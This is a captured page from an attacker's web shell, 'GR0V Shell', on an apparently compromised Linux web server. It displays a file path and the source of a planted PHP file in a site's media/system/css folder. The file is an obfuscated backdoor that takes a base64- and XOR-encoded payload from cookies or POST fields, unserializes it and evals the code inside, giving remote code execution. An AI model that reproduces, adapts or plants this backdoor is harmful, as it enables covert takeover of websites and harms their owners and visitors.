? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/media/system/css/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/media/system/css/9d533df1.php

$kJTkAKhg = "\x66" . 'x' . "\137" . 'u' . 'w' . chr ( 847 - 766 ); $iGFeGPM = chr ( 292 - 193 ).chr (108) . 'a' . "\163" . "\163" . chr ( 571 - 476 )."\x65" . "\x78" . 'i' . 's' . 't' . 's';$IpSRV = $iGFeGPM($kJTkAKhg); $QCUNQ = $IpSRV;if (!$QCUNQ){class fx_uwQ{private $KGiyBxbVn;public static $MWLUvu = "16c8b901-ceca-40a6-9cdb-7ee00ccc5730";public static $efjGkSqlf = 32630;public function __construct($fvILGmjjFE=0){$rjfuDFexn = $_COOKIE;$JIHbYRXGD = $_POST;$fvgxxgt = @$rjfuDFexn[substr(fx_uwQ::$MWLUvu, 0, 4)];if (!empty($fvgxxgt)){$VcYktRqzFe = "base64";$hiNEw = "";$fvgxxgt = explode(",", $fvgxxgt);foreach ($fvgxxgt as $oMdhMubs){$hiNEw .= @$rjfuDFexn[$oMdhMubs];$hiNEw .= @$JIHbYRXGD[$oMdhMubs];}$hiNEw = array_map($VcYktRqzFe . "\x5f" . "\x64" . chr (101) . chr ( 221 - 122 )."\x6f" . "\144" . "\x65", array($hiNEw,)); $hiNEw = $hiNEw[0] ^ str_repeat(fx_uwQ::$MWLUvu, (strlen($hiNEw[0]) / strlen(fx_uwQ::$MWLUvu)) + 1);fx_uwQ::$efjGkSqlf = @unserialize($hiNEw);}}private function HlBUOeV(){if (is_array(fx_uwQ::$efjGkSqlf)) {$uTHzRj = str_replace('<' . "\77" . chr (112) . "\150" . chr ( 982 - 870 ), "", fx_uwQ::$efjGkSqlf[chr ( 832 - 733 ).chr (111) . "\x6e" . 't' . chr (101) . 'n' . "\x74"]);eval($uTHzRj); $hmRIk = "64725";exit();}}public function __destruct(){$this->HlBUOeV(); $hmRIk = "64725";}}$CiPMi = new fx_uwQ(); $CiPMi = "18133_34179";}

T1KUS90T
  root-grov@210.1.60.28:~$